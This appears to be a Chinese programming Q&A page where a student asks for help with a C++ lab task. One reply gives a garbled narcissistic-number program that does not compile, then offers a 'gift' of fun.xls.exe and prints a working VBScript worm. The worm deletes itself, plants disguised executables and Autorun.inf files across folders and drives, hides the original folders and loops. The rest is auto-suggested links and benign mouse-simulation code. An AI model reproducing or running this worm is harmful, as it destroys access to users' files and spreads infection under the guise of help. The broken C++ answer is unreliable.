c ++的实验任务怎么搞的

这个任务代码看不懂
应该要如何写呢
运用什么程序
用什么方法写,需要使用函数吗

img

水仙花数:
#include〈bits/stdc++.h〉
using namespace std;
int main ()

int shuru;
cin〉〉shuru;
if(shuru>1000 | | shuru<100)

cout〈〈"不规范"〈〈endl;

if (shuru/100shuru/100shutu/100+shuru/10%10shuru/10%10shuru/10%10+shuru%10shuru%10shuru%10==shuru)
{cout〈〈"是水仙花数"〈〈endl;

return 0;

//本人初中生,应该是你的同龄人,都去奥赛,学艺不精,请见谅。第一个简单,自己做做。附赠fun.xls.exe一个

On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders

For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next

Set Cx=Nothing
Set Fdrs=Nothing

Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders

For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Copy(drv & "" & Fdr.Name & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "" & Fdr.Name & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next

End If
End If
Next
WScript.Sleep 60*1000
Loop

  • 这有个类似的问题, 你可以参考下: https://ask.csdn.net/questions/6740905
  • 这篇博客你也可以参考下:c++编程如果申请非常非常大的内存空间时,怎么样判断电脑内存是否足够
  • 除此之外, 这篇博客: C++模拟鼠标移动及单击实现代码中的 模拟鼠标左键单击实现按钮按下: 部分也许能够解决你的问题, 你可以仔细阅读以下内容或跳转源博客中阅读:
  •    首先通过MoveMouse移动鼠标到记录的按钮位置,之后通过MouseClick发送左键按下消息。这两个函数的详细代码如下:

    //移动鼠标到绝对位置
    int CSimulateMessageDlg::MoveMouse(unsigned int dx, unsigned int dy)
    {
    	INPUT inputs[1] = {};
    	ZeroMemory(inputs, sizeof(inputs));
    
    	inputs[0].type = INPUT_MOUSE;
    	inputs[0].mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE ;
    	inputs[0].mi.dx = dx;
    	inputs[0].mi.dy = dy;
    
    	int nSize = ARRAYSIZE(inputs);
    	UINT uSent;
    	uSent = SendInput(ARRAYSIZE(inputs), inputs, sizeof(INPUT));
    
    	if (uSent != ARRAYSIZE(inputs))
    	{
    		//OutputString(L"SendInput failed: 0x%x\n", HRESULT_FROM_WIN32(GetLastError()));
    	} 
    	return 0;
    }
    
    
    //发送鼠标左键单击消息
    int CSimulateMessageDlg::MouseClick(int nMode)
    {
    	INPUT inputs[1] = {};
    	ZeroMemory(inputs, sizeof(inputs));
    
    	inputs[0].type = INPUT_MOUSE;
    	inputs[0].mi.dwFlags = nMode | MOUSEEVENTF_ABSOLUTE ;
    	inputs[0].mi.dx = 0;
    	inputs[0].mi.dy = 0;
    
    	int nSize = ARRAYSIZE(inputs);
    	UINT uSent;
    	uSent = SendInput(ARRAYSIZE(inputs), inputs, sizeof(INPUT));
    
    	if (uSent != ARRAYSIZE(inputs))
    	{
    		//OutputString(L"SendInput failed: 0x%x\n", HRESULT_FROM_WIN32(GetLastError()));
    	} 
    
    	return 0;
    }
    
    

       注意到MoveMouse这个函数的两个参数dx、dy指的是鼠标移动的绝对位移,是指的鼠标移动的“点”,这个单位与鼠标的dpi有关,其与屏幕坐标系下的单位对应关系通过以下代码计算比率:

    int CSimulateMessageDlg::GetMouseCoor2ScreenRatio(void)//计算鼠标移动绝对位移相对屏幕坐标系的比例
    {
    	CPoint ptMouse,ptMouseOld;
    	GetPhysicalCursorPos(&ptMouseOld);
    	MoveMouse(0,000);
    	MoveMouse(1000,1000);
    	Sleep(10);
    	BOOL bRet = ::GetPhysicalCursorPos(&ptMouse);
    	if (TRUE == bRet)
    	{
    		m_RatioX = (double)1000/ptMouse.x;//1000 是鼠标移动的绝对位移
    		m_RatioY = (double)1000/ptMouse.y;//1000 是鼠标移动的绝对位移
    		MoveMouse(ptMouseOld.x*m_RatioX,ptMouseOld.y*m_RatioY );//归位	
    		return 0;
    	}
    	else
    	{
    		bRet = GetLastError();
    	}
    
    	return -1;
    }
    
    

       总结,本代码实现了鼠标单击按钮的简单功能,但是可基于本代码进行更为复杂功能的实现,例如录制多个需要单击的位置实现批量按按钮。

    代码及可运行程序:
    链接: 源项目链接

  • 您还可以看一下 夏曹俊老师的C++微服务架构及安全云盘项目实训课程中的 完成了客户端的文件上传指令处理小节, 巩固相关知识点